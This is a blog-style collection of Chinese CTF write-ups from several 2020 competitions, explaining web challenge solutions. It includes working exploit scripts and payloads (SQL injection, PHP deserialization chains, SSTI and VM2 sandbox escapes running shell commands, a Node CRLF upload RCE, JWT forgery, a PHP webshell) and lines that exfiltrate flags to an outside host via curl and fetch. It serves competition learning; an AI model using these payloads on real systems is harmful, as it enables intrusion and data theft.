2020WriteUp 汇总 VOL 1

  31 mins to read  

List [CTL]

    ichunqiu新春战役公益赛

    DAY 1

    简单的招聘系统

    登录存在注入,1'||id=1#登录admin账号, admin账号处可查询用户key,二次注入(ichunqiu平台貌似限制了请求最大响应时间)

    SQL为INSERT INTO log(key, uname, profile) (SELECT key, uname, profile WHERE key=''),通过修改普通用户的profile,用admin来查询,二次 + 报错注一下就行了

    profile=123' and 1=(updatexml(1,mid(concat(0x25,(select flaaag from flag)),16,32),1)))#
    

    简单上传

    无过滤,不知道这题想干嘛

    babyphp

    这题出的还行,但就是太刻意了,为了出题而出题,写了一堆莫名其妙的魔术方法,代码水平我也就不吐槽了

    反序列化链:

    UpdateHelper.__destruct
    User.__toString
    Info.update -> Info.__call
    Info.CtrlCase.login  // argument可控
    dbCtrl.login
    

    反序列化点在user.update,将对象注入到user.age,利用过滤函数增加字符长度来溢出,注入类成员(类似于Joomla3.4.6 RCE)

    public function update()
    {
        $Info = unserialize($this->getNewinfo());
        $age = $Info->age;
        $nickname = $Info->nickname;
        $updateAction = new UpdateHelper(
            $_SESSION['id'],
            $Info,
            "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']
        );
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo()
    {
        $age = $_POST['age'];
        $nickname = $_POST['nickname'];
        return safe(serialize(new Info($age, $nickname)));
    }
    

    EXP:

    <?php
    
    function safe($parm) {
        $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
        return str_replace($array, 'hacker', $parm);
    }
    
    class User {
        public $id;
        public $age = null;
        public $nickname = null;
    }
    
    class Info {
        public $age;
        public $nickname;
        public $CtrlCase;
    }
    
    class UpdateHelper {
        public $id;
        public $newinfo;
        public $sql;
    }
    
    class dbCtrl {
        public $hostname = "127.0.0.1";
        public $dbuser = "noob123";
        public $dbpass = "noob123";
        public $database = "noob123";
        public $name;
        public $password;
        public $mysqli;
        public $token;
    }
    
    $uh = new UpdateHelper;
    $u = new User;
    $i = new Info;
    $dc = new dbCtrl;
    
    $dc->name='admin';
    $dc->password='p';
    $i->CtrlCase = $dc;
    $u->nickname = $i;
    $u->age = 'SELECT id, 0x3833383738633931313731333338393032653066653066623937613863343761 FROM user WHERE username=?';
    $uh->sql = $u;
    
    $exp = serialize($uh);
    
    $ii = new Info;
    $ii->age = '1*********************************************************************************************************";s:8:"nickname";'.$exp.'s:8:"CtrlCase";N;}';
    
    echo $ii->age;
    

    请求后可设置$_SESSION[‘token’]为admin,拿到Cookie后切到login.php登录admin,密码随意,登录逻辑会直接设置login=1,然后跳转到update.php就可以拿flag了

    EXP试了下完全没问题,不知道为啥注入对象的析构函数没有被调用(玄学?)

    P.s. 既然能控制mysql连接了,利用load local infile直接读flag.php应该也可行,具体看题目环境配置了

    2020/2/25更新:今天又看了一下,发现是因为PHP未处理异常会导致脚本直接终止而不调用析构函数。因为后面这一句类型转换报错:

    $updateAction = new UpdateHelper(
        $_SESSION['id'],
        $Info,
        "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']
    );
    

    Catchable fatal error: Object of class UpdateHelper could not be converted to string in lib.php on line 155

    阿P,真有你的啊。我寻思你好歹带个GC,退出时不该把收尾工作做了吗

    所以这题不要把对象注入到age或nickname:

    import requests
    
    data = {
        'age': '1*********************************************************************************************************";s:8:"nickname";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:104:"SELECT id, 0x3833383738633931313731333338393032653066653066623937613863343761 FROM user WHERE username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";s:1:"p";s:6:"mysqli";N;s:5:"token";N;}}}}s:8:"CtrlCase";N;}',
        'nickname': '',
    }
    
    data={
        'nickname': '1*****************************************************************************************************unionload";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:104:"SELECT id, 0x3833383738633931313731333338393032653066653066623937613863343761 FROM user WHERE username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";s:1:"p";s:6:"mysqli";N;s:5:"token";N;}}}}}',
        'age': '',
    }
    
    r = requests.post(
        'http://127.0.0.1/update.php', data=data
    )
    
    print(r.text)
    print(r.headers)
    

    babysqli

    没时间看了,看解题人数比上一题反序列化简单

    DAY 2

    easysqli_copy

    PDO堆叠 + 宽字节 + 延时,家里路由器无线桥接后信号一直不太好,脚本跑了半天。延时注入有必要弄一堆奇怪又长的列名来浪费时间吗,而且题目本身就select了一列,flag占一列,为什么要设置总共>=四列,觉得你的列名很萌萌哒吗

    // python2
    import requests
    
    url = 'http://addeb1bebcfb48f6a3e6a2c74972ef2fa77a6c4ab4fb41f9.changame.ichunqiu.com/?id='
    
    flag = 'flag{09d3acb6-'
    
    # balabala,eihey,fllllll4g,(后面还有列,我服了,憨憨出题人)
    for i in range(15, 50):
        for w in '-0123456789abcdef}':
            _id = '%bf%27;set%20@sql=0x{};prepare%20stmt%20from%20@sql;execute%20stmt;/*'
            payload = 'select if(ascii(mid((select group_concat(fllllll4g) from table1),{},1))={},sleep(3),0)'.format(i, ord(w))
            _id = _id.format(payload.encode('hex'))
    
            try:
                requests.get(url+_id, timeout=3)
            except:
                flag += w
                break
        print(flag)
    

    another 2 SQLi

    又是注入,不做了88

    DAY 3

    最后一天了认真打,今天ak了

    FlaskApp

    Python3.7.4的SSTI,下了个Python3.7的解释器,发现内置类的架构被重构了,之前常用的payload已经不能通过object.__subclasses__访问到了

    看了一下_frozen_importlib.BuiltinImporter可以用,测了一下服务器上的索引是80

    EXP:

    >>> b("{{''.__class__.__mro__[-1].__subclasses__()[80].load_module('o'+'s')['po'+'pen']('cat this_is_the_fl'+'ag.txt').read()}}")
    b'e3snJy5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVs4MF0ubG9hZF9tb2R1bGUoJ28nKydzJylbJ3BvJysncGVuJ10oJ2NhdCB0aGlzX2lzX3RoZV9mbCcrJ2FnLnR4dCcpLnJlYWQoKX19'
    

    node_game

    这题出的不错,有点麻烦,做了四个小时

    拿到代码读了一遍就猜到是CRLF注入一个POST请求来上传模板文件来RCE

    首先看一下怎么注入,unicode安全问题,参考这个链接https://xz.aliyun.com/t/2894

    SSRF的流程是:

    • Express获取GET query (此时urldecode一次)
    • 将query拼接到/source?后面,丢给http.get请求,此时会urlencode一次
    • CRLF注入一个POST请求访问file_upload接口,HTTP协议报文的控制字符需要是non-encode的

    因为payload是在最外层报文的GET query里,所以只能利用node.js中http.get转义unicode的feature来处理特殊字符,GET请求里注入\u0120, \u010d, \u010a等字符,Express拿到就是对应unicode,交给http.get则会被转换为对应ascii,而不会被urlencode

    请求注入这里比较麻烦,本地监听后慢慢试,除此之外,第一个报文给个keep-alive,防止连接断开(经验之谈,我不确定不加会不会失败)

    注入一个POST请求成功后,需要上传一个pug模版,google一下pug模板即可。字符串过滤随便绕一下就行了

    -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('whoami').toString()")
    -return x
    

    上传后需要加载模板,可以看到/?action=可加载,不过限制了路径穿越,这里就很刻意了。在上传路由里保存了两次,一个重命名了保存在dist,另一个副本保存在uploads/MIME_TYPE/FILE_NAME,在MIME里跳一下目录到template就行了

    EXP:

    import requests
    
    
    payload = """2 HTTP/1.1
    Host: 127.0.0.1
    Connection: keep-alive
    
    POST /file_upload HTTP/1.1
    Host: 127.0.0.1
    Content-Length: {}
    Content-Type: multipart/form-data; boundary=------------------------a6a8d18957515a9a
    
    {}""".replace('\n', '\r\n')
    
    body = """--------------------------a6a8d18957515a9a
    Content-Disposition: form-data; name="file"; filename="evil2.pug"
    Content-Type: ../template
    
    -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
    -return x
    --------------------------a6a8d18957515a9a--
    
    """.replace('\n', '\r\n').replace('+', '\u012b')
    
    payload = payload.format(len(body), body)   \
            .replace(' ', '\u0120')             \
            .replace('\r\n', '\u010d\u010a')    \
            .replace('"', '\u0122')             \
            .replace("'", '\u0a27')             \
            .replace('[', '\u015b')             \
            .replace(']', '\u015d')             \
            + 'GET' + '\u0120' + '/'
    
    print(requests.get('http://101.200.195.106:33322/core?q=' + payload).content)
    #print(requests.get('http://127.0.0.1:8081/core?q=' + payload).content)
    
    

    然后访问一下/?action=evil2就行了

    ezExpress

    配置错误,直接给flag了

    easy_thinking

    TP6.0的任意文件写:

    https://www.smi1e.top/thinkphp6-0-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E/

    getshell后用GC_UAF绕过disabled_functions

    安恒新春抗疫

    easyflask1

    没啥意思的题,权限还给的root

    /%7B%set%20x,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,c=request['args']['x'],request['args']['a1'],request['args']['a2'],request['args']['a3'],request['args']['a4'],request['args']['a5'],request['args']['a6'],request['args']['a7'],request['args']['a8'],request['args']['a9'],request['args']['a10'],request['args']['a11'],request['args']['c']%%7D%7B%7B""[x*2%2Ba2%2Bx*2][x*2%2Ba3%2Bx*2][-1][x*2%2Ba4%2Bx*2]()[224][x*2%2Ba5%2Bx*2][x*2%2Ba7%2Bx*2][x*2%2Ba6%2Bx*2]['eval'](c)%7D%7D?x=_&a1=getitem&a2=class&a3=mro&a4=subclasses&a5=init&a6=builtins&a7=globals&c=__import__('os').popen('cat%20/flag').read(
    

    其他三道Web

    安恒什么题都收,质量太低了

    XCTF高校战疫

    webtmp

    用我工具直接秒:https://github.com/eddieivan01/pker

    导入当前全局的secret module并修改name和category即可。题目ban了’R’,也就是不能直接调用callable对象,pker有三个内置宏,除了GLOBAL其它两个都可以当’R’用

    a = GLOBAL('__main__', 'Animal')
    s = GLOBAL('__main__', 'secret')
    s.name = 1
    s.category = 1
    return OBJ(a, 1, 1)
    
    
    python3 pker.py < webtmp.pk
    b"c__main__\nAnimal\np0\n0c__main__\nsecret\np1\n0g1\n(}(S'name'\nI1\ndtbg1\n(}(S'category'\nI1\ndtb(g0\nI1\nI1\no."
    

    webct

    题目功能点很刻意,上传图片 + 连接指定MySQL Server

    即利用MySQL load local infile反序列化phar

    先上传phar

    <?php
        class Fileupload {
            public $file;   
        }
        class Listfile {
            public $file;
        }
    
        $o = new Fileupload;
        $o->file = new Listfile;
        $o->file->file = ';/readflag';
    
        @unlink("phar.phar");
        $phar = new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
        $phar->setMetadata($o); //将自定义meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>
    

    服务器上用rogue-mysql-server读取phar://..../xx.gif即可RCE

    sqlcheckin

    这源码给的意义是啥?

    username=admin&password=0’+’0

    dooog

    出题人用三个Flask Server模拟了krb认证流程

    先由client获取TGT,再持TGT获取Ticket,最后用Ticket请求cmd_server。对cmd的校验发生在持TGT请求ticket的阶段,假如我们想绕过KDC的校验,只能拿到cmd_server的master_key直接伪造Ticket,但实际是不可能的

    之后注意到KDC校验过程中程序控制流存在漏洞

    if data['username'] == auth_data[0] == username:
        if int(time.time()) - data['timestamp'] < 60:
            if 0 and cmd not in ['whoami', 'ls']:
                return 'cmd error'
        session_key = genSession_key()
        session_key_enc = base64.b64encode(
            cryptor.encrypt(session_key))
        cryptor = AESCipher(auth_data[1])
        client_message = base64.b64encode(cryptor.encrypt(session_key))
        server = User.query.filter_by(username='cmd_server').first()
        cryptor = AESCipher(server.master_key)
        server_message = base64.b64encode(
            cryptor.encrypt(session_key + '|' + data['username'] +
                            '|' + cmd))
        return client_message + '|' + server_message
    

    时间戳校验大于60则不校验cmd,且题目的KDC和cmd_server都监听在公网

    EXP修改一下题目的client即可

    import requests
    import base64
    import json
    from toolkit import AESCipher
    import time
    
    username = 'iv4n'
    master_key = 'aaaaaaaa'
    cmd = 'curl http://IP/`/readflag`'
    
    cryptor = AESCipher(master_key)
    authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))
    
    res = requests.post('http://121.37.164.32:5001/getTGT', 
        data={'username': username, 'authenticator': base64.b64encode(authenticator)})
    
    session_key, TGT = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])), res.content.split('|')[1]
    print('GET TGT DONE')
    #visit TGS
    cryptor = AESCipher(session_key)
    authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': 1}))
    res = requests.post('http://121.37.164.32:5001/getTicket',  data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': TGT})
    
    client_message, server_message = res.content.split('|')
    session_key = cryptor.decrypt(base64.b64decode(client_message))
    cryptor = AESCipher(session_key)
    authenticator = base64.b64encode(cryptor.encrypt(username))
    res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator})
    

    PHP-UAF

    watch这个repo就行了:https://github.com/mm0r1/exploits

    这次用PHP7-backtrace-bypass

    hackme

    没搜到compress.zlib://data:@127.0.0.1/plain;base64,{},队友做的

    data这种层级伪协议为什么能不加//,迷惑。测试了一下,PHP中以下几种写法都是可以的:

    data:text/plain;base64,aa==
    data:/text/plain;base64,aa==
    data://text/plain;base64,aa==
    
    data:@127.0.0.1/text/plain;base64,aa==
    data:/@127.0.0.1/text/plain;base64,aa==
    data://@127.0.0.1/text/plain;base64,aa==
    

    step1

    源码很刻意,两种serialize handler混用的问题

    step2

    byteCTF的姿势,用上面的compress.zlib://data:@host绕过,后面就是hitcon的4字符利用ls -tgetshell

    nweb

    前端源码里hidden input,type填110,然后有个过滤为空的WAF。盲注一下,后台是MySQL load local infile

    fmkq

    step1

    head=\&begin=%s%&url=http://127.0.0.1:8080
    

    step2

    fuzz出了{file}会被替换为errorquanbumuda,但是没测试出字符串插值

    (string + "").format(file=val)
    

    这里面可以访问参数属性,但不能调用函数,所以通过file.vip.__dict__能拿到vipcode

    然后就可以读源码了,发现过滤了fl4g,找个’f’即可:vipfile.file[0]

    babyjava

    过滤了&,OOB可以带出/hint.txt(HTTP协议即可,出题人把pom.xml编码压缩到一行了)。而且这题可能是jdk版本过高,FTP也带不出多行文件,(1.8.0u111之类的没问题)

    pom.xml提示了

    Method post
    Path  /you_never_know_the_path
    

    存在fastjson 1.2.48

    过滤了type,试了一下\x可以绕,后面不会,完全不懂Java sec。看WP是fastjson的trick:

    而prefix是想考fastjson会自动处理理 - 和 _ 的特性,在fastjson中, parseField 这个函数⾥ 会去掉字符串中的 - 和开头的下划线,因此带个 - 就可以了了

    nothardweb

    我晚上脑子不清醒,index页提示的很明显了,给了第一个用户和第228个用户的id,也就是1和228的随机数。用前段时间那个reverse_mt_rand脚本就可以逆出seed

    逆出seed就能拿到KEY,然后用全0的IV解密第一个block,再将正常值和全0IV解密值异或一下就能拿到真IV了

    key生成时与了个10 ^ 9 - 1,直接爆破也行

    等等,做了与运算,那上面的逆seed的思路就不通了,搞不懂出题人本意是啥

    后面看WP就是内网一个Tomcat PUT

    P.s. 其实还有非预期解,题目逻辑是如果Cookie中没有hash或user的话会设置KEY和IV到SESSION,因为KEY和IV是从SESSION取的,如果为NULL的话,PHP会有warning不过还是能正常加解密。为啥我也没想到

    easy_trick_gzmtu

    题目提示了传参?time=2020 / ?time=Y都可以,其实就是把参数丢给date转了一下。我这样FUZZ的结果感觉是过滤了单个字符串:?time=2019'||'{}1'#,我为啥就想不到是date format

    happyvacation

    这个XSS做时就知道要上传wave(aaaaaaaaaaaaa/*bbbbbbbbbbbbbbbb*/="test";alert(1))绕CSP,但感觉绕不过这个正则就放弃了

    function leaveMessage($message){
        if(preg_match('/coo|<|ja|\&|\\\|>|win/i', $message)){
            $this->message = "?";
        }
        else{
            $this->message = addslashes($message);
        }
    }
    

    应该多留意一些可疑的功能,比如URLHelper里的

    function go(){
        if(isset($this->pre) and isset($this->after) and isset($this->location)){
            $dest = $this->pre . $this->location . $this->after;
            header($dest);
        }
        else{
            // Error occured?
            header("Location: index.php");
        }
    }
    

    正解就是通过header来改变页面编码:

    Content-Type: text/html; charset=GBK

    然后宽字节逃逸出单引号

    P.s. 非预期是通过里面一个可疑的eval覆盖掉上传黑名单

    if(preg_match("/[^a-zA-Z_\-}>@\]*]/i", $answer)){
        $this->message = "no no no";
    }
    else{
        if(preg_match('/f|sy|and|or|j|sc|in/i', $answer)){
            // Big Tree 说这个正则不需要绕
            $this->message = "what are you doing bro?";
        }
        else{
            eval("\$this->".$answer." = false;");
            $this->updateList();
        }
    }
    

    因为它所有的功能类都被放到到User类的成员了

    我为什么又没想到

    GuessGame

    JS的toUpperCase转拉丁字母特性触发merge

    用原型链污染设置enableReg,进这个短路求值的最后一项

    config.enableReg && noDos(regExp) && flag.match(regExp)
    

    后面很明显用regexp做侧信道攻击,我也写过正则DFA,但我就是想不出怎么构造。Google搜到的全是RE DOS,就是没找到怎么精确控制每一位

    看WP有这个链接:https://blog.rwx.kr/time-based-regex-injection/

    fl(((((.*)+)+)+)+)!
    

    这种方法匹配到最后几位会失效,因为最后几位匹配时间都很短,网络I/O干扰很大

    De1ta的payload,从后往前,这种方法跑到前几位时延时会很长

    ^((((.*)+)+)+)+[^b]zY$
    

    所以两种payload结合起来就可以了

    CONFidenceCTF2020

    hidden_flag

    进去后是个mquery-web,也就是yara的Web前端,可以自写rule来匹配目录中的文件内容

    尝试一下

    rule evil {
        strings:
            $s = "p4{"
        condition:
            $s
    }
    

    可以看到匹配出来/opt/bin/getflag,正常情况下可以直接通过/api/download路由下载文件的,不过该题应该是改了源码,该路由会返回401(亏我还去翻历史版本看哪里加了限制)

    思考了一下,应该是盲注没跑了,首先手动二分一下确定flag字符串的offset是1796:

    rule evil {
    	strings:
    		$s = "p4{"
    	condition:
    		$s and $s in (1796..1798)
    }
    

    然后写个脚本盲注就好了:

    import requests
    
    # 5KB - 6KB
    payload = """rule evil{{
    strings:
        $s = "{}"
        condition:
            $s and $s in (1796..{})
        }}"""
    
    url = 'https://hidden.zajebistyc.tf'
    proxy = {'https': 'socks5://127.0.0.1:1080'}
    
    flag = "p4{ind3x1ng-l3ak5}"
    for i in range(16, 50):
        for w in """abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`~!@#$%^&*()_-+='}{[];<>?/""":
            if w == '"':
                w = '\\"'
    
            _p = payload.format(flag + w, 1798 + i)
            print(w)
            r = requests.post(
                    url + '/api/query/medium',
                    json={'method': 'query', 'raw_yara': _p},
                    proxies=proxy,
            )
            try:
                h = r.json().get('query_hash')
            except:
                print(r.text)
                continue
            if h is not None:
                r = requests.get(f'{url}/api/matches/{h}?offset=0&limit=50', proxies=proxy)
                if '/opt/bin/getflag' in r.text:
                    flag += w
                    if flag[-1] == '}':
                        print(flag)
                        exit()
                    break
        print(flag)
    

    CatWeb

    进入首页查看源码:

    可以发现一个非常明显的DOM XSS,即拼接了newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';

    为了控制kind和cat变量,控制未转义的JSON接口返回值即可:

    $ curl "http://catweb.zajebistyc.tf/cats?kind=black%22%7D"
    {"status": "error", "content": "black"} could not be found"}
    

    JSON中重复的键后者可覆盖前者,以此覆盖status

    覆盖content的内容:

    http://catweb.zajebistyc.tf/?grey","status":"ok","content":["\"><script>alert`1`</script><!--"],"a":"
    

    DOM XSS的部分到这里结束了,但是X了bot半天,发现没有Cookie,Storage里空的,源码里没flag,又探测了一下内网常见的端口也毫无收获,接着看到hint:Note: Getting the flags location is a part of the challenge. You don't have to guess it.

    回顾一下前面,由src="static/'+kind+'/'+cat+'"/cats?kind=可以想到它是个列目录的接口,尝试一下目录穿越:

    $ curl http://catweb.zajebistyc.tf/cats?kind=../
    

    看到flag在Flask的模版目录下,接下来通过XSS请求file协议访问本地文件系统就行了

    但是直接提交给bot http://catweb.zajebistyc.tf/?grey","status":"ok","content":["\"><script>fetch('file:///app/templates/flag.txt')</script><!--"],"a":"肯定是不行的,特权域和普通域之间属于跨域请求

    很容易想到通过另一个file特权域来请求,看一下MDN怎么说:

    In Gecko 1.8 or earlier, any two file: URIs are considered to be same-origin. In other words, any HTML file on your local disk can read any other file on your local disk. Starting in Gecko 1.9, files are allowed to read only certain other files. Specifically, a file can read another file only if the parent directory of the originating file is an ancestor directory of the target file. Directories cannot be loaded this way, however. For example, if you have a file foo.html which accesses another file bar.html and you have navigated to it from the file index.html, the load will succeed only if bar.html is either in the same directory as index.html or in a directory contained within the same directory as index.html.

    题目是FF67(实际上也只有FF允许用XHR请求file协议),所以当两个file在相同目录时,或被读取file在发起请求的file的子目录时属于同源。符合这里的情况,/app/templates/index.html -> /app/templates/flag.txt,而且index.html中没有动态内容

    构造出最终的payload:

    file:///app/templates/index.html?grey","status":"ok","content":["\"><script>fetch('file:///app/templates/flag.txt').then(r=>r.text()).then(data=>fetch('http://IP/'%2Bbtoa(data)))</script><!--"],"a":"
    

    TemplateJS

    这是一道node.js的沙盒题,根据题目提示ECMAScript 6 brought in a new paradigm to JavaScript: template programming!!111 ... kinda需要用到ES6某些关于模版的trick

    使用vm模块构造了一个沙盒,最终目标是逃逸沙盒并访问到全局作用域中的flag变量

    输入字符存在一个白名单,假如白名单中能多一个dot的话,其实就很简单了,参考vm沙盒逃逸payload

    this.constructor.constructor\`return global.flag\`\`\`
    

    首先来了解一下ES6 template

    本质其实就是个语法糖,类似于字符串插值,由飘号包裹,${}中为动态计算的插值

    > console.log(`${1+1} == ${1+2} => ${1+1 == 1+2}`)
    2 == 3 => false
    

    有些XSS payload使用了alert`1`,实际上这也属于template,即tagged template。下面的例子可以很好的展示

    ~ ❯ node
    > function foo(str, ...val) {console.log(str);console.log(val)}
    undefined
    > foo`s`
    [ 's' ]
    []
    undefined
    > foo`s${1+1}`
    [ 's', '' ]
    [ 2 ]
    undefined
    > foo`s${1+1}k${2+2}p`
    [ 's', 'k', 'p' ]
    [ 2, 4 ]
    undefined
    > eval`1+1`
    [ '1+1' ]
    > console.log`1`
    [ '1' ]
    undefine
    >
    

    所以在这道题中,虽然能访问到eval,并且能通过tagged template调用,但你没办法利用它,因为它接收到的参数是个list

    翻一下MDN发现还有一个类似于eval可以做元编程的东西:Function (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function) 而且它可以访问到全局作用域:

    Functions created with the Function constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the Function constructor was created. This is different from using eval with code for a function expression.

    MDN还给了一个展示Function作用域访问规则的例子:

    var x = 10;
    
    function createFunction1() {
        var x = 20;
        return new Function('return x;'); // this |x| refers global |x|
    }
    
    function createFunction2() {
        var x = 20;
        function f() {
            return x; // this |x| refers local |x| above
        }
        return f;
    }
    
    var f1 = createFunction1();
    console.log(f1());          // 10
    var f2 = createFunction2();
    console.log(f2());          // 20
    

    Function接收这样的参数:Function('a', 'b', 'console.log(a+b)')。最后一个参数是要执行的代码,类型可以是列表,自定义参数也可以是列表:

    > Function(['console.log(1)', 'console.log(2)'])()
    1
    2
    undefined
    > Function(['a', 'b'], 'console.log(a);console.log(b)')(1, 2)
    1
    2
    undefined
    

    那么利用上面tagged template的trick,将代码段放在最后一个参数中:

    > Function`s${`console.log(1)`}```
    1
    undefined
    

    回到题目中,我们的目标是构造出this.constructor.constructor('return global.flag')(),因为涉及到访问属性很麻烦,那么把this省略,又因为Function的作用域访问规则,global也可以省略,即constructor.constructor('return flag')()

    这段代码需要一次属性访问,在没有.[]的情况下,可以使用with语句:

    > let cls = {s: 'its me'}
    undefined
    > with (cls) console.log(s)
    its me
    undefined
    

    但白名单中没有(),注意到出题人给沙盒传入了一个par lambda,它就是用来构造(val)的:

    vm.createContext({par: (v => `(${v})`), source, help})
    

    改写一下目标代码:Function('with(constructor){return constructor("return flag")()}'),然后用tagged template和par函数替换:

    Function`s${`with${par`constructor`}{return constructor${par`return flag`}${par``}}`}`
    

    执行一下有报错:

    > Function`s${`with${par`constructor`}{return constructor${par`return flag`}${par``}}`}`
    SyntaxError: Unexpected token return
    

    debug一下看到,这里的return flag不是个字符串

    > foo`s${`with${par`constructor`}{return constructor${par`return flag`}${par``}}`}`
    [ 's', '' ]
    [ 'with(constructor){return constructor(return flag)()}' ]
    

    白名单中没有'",也没有\\来转义内部的飘号,只能考虑别的做法

    为了解决这个问题,我们可以将要交给constructor.constructor执行的代码字符串当做最外层的Function的自定义参数传入。于是内层constructor.constructor接收到的参数就是一个列表['code'],但不影响,因为constructor.constructor本身就是Function,所以符合上文提到的代码参数可为列表的特性

    于是将return flag当做形参s的实参传入就行了,最终实际执行的是:

    Function(['s'], ['with(constructor){return constructor(s)()}'])(['return flag'])

    最终的payload:

    Function`s${`with${par`constructor`}{return constructor${par`s`}${par``}}`}``return flag`
    

    数字中国虎符

    拿了所有Web题一血还是比较舒服的

    easy_login

    webpack map泄露,源码里告知koa-static的static被设置为WEB根目录

    下载源码,api.js中

    const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    
    if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
        throw new APIError('login error', 'no such secret id');
    }
    
    const secret = global.secrets[sid];
    const user = jwt.verify(token, secret, {algorithm: 'HS256'});
    

    借助JS弱类型来保证secrets[sid] == null && sig >= 0 && sig < secret.length。JSON支持的就那几种类型,简单尝试发现数组可行

    查看jsonwebtoken源码,存在option.alg == header.alg的校验。当secret == null时option.alg == ‘none’,故jwt_header.alg也需为’none’

    import jwt
    
    a = {
        "secretid": [],
        "username": "admin",
        "password": "admin",
        "iat": 1587286516
    }
    jwt.encode(a, None, algorithm='none')
    

    run_code

    一看404页面就知道是node.js,Error.stack可知是VM2沙盒

    参数存在过滤,其实我压根没考虑过滤,知道是JS后就fuzz了?code[]=传参。过滤逻辑应该是code.indexOf(black_list_word) != -1,数组自然绕过,且JS中['exp'].toString() == 'exp'

    去VM2的issues页找payload:https://github.com/patriksimek/vm2/issues/225

    import requests
    
    exp = """(function(){
    	try{
    		Buffer.from(new Proxy({}, {
    			getOwnPropertyDescriptor(){
    				throw f=>f.constructor("return process")();
    			}
    		}));
    	}catch(e){
    		return e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
    	}
    })()"""
    
    r = requests.get(
        'http://8124f165bad24430831b216fad33ec151380ff9f311f421b.changame.ichunqiu.com/run.php?code[]='
        + exp)
    print(r.text)
    

    babyupload

    上传文件格式为[controlled]_[SHA256],可控制php session内容。用download功能可知session handler为php_binary

    第一点

    先上传filename=”sess”,content=[\x08]usernames:5:"admin";,然后修改SESSION_ID为sha256(content)即可成为admin

    第二点

    有如下判断

    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
        safe_delete($filename);
        die($flag);
    }
    

    upload功能存在@mkdir($dir_path, 0700, TRUE);attr=success.txt创建success.txt目录即可

    GM

    // exp.sage
    n = ...
    phi = ...
    
    p = (n - phi + 1 - ((n - phi + 1) ^ 2 - 4 * n).nth_root(2)) // 2
    q=n//p
    flag = [...]
    Fp=Integers(p)
    f2=[0 if Fp(f).is_square() else 1 for f in flag]
    
    x = hex(int('0'+''.join(str(i) for i in f2),2))[2:-1]
    print(x)
    

    De1CTF2020

    checkin

    这题当时没看,就是上传.htaccess。黑名单过滤用当时XNUCA的方法,\+换行绕过

    hard_pentest 1 & 2

    fuzz出/ " > *等字符不能写入文件名,知道是Windows主机。利用空stream name的ADS绕过后缀名校验,x.php::$DATA

    用p牛的无字母数字webshell绕过内容校验,分号用短标签绕过,PHP7没有assert,所以直接调SYSTEM

    <?=$_=[]?>
    <?=$_=@"$_"?>
    <?=$_=$_['!'=='@']?>
    
    <?=$__=$_?>
    <?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
    
    <?=$___=$__?>
    
    <?=$__=$_?>
    <?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
    <?=$___.=$__?>
    
    <?=$__=$_?>
    <?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
    <?=$___.=$__?>
    
    <?=$__=$_?>
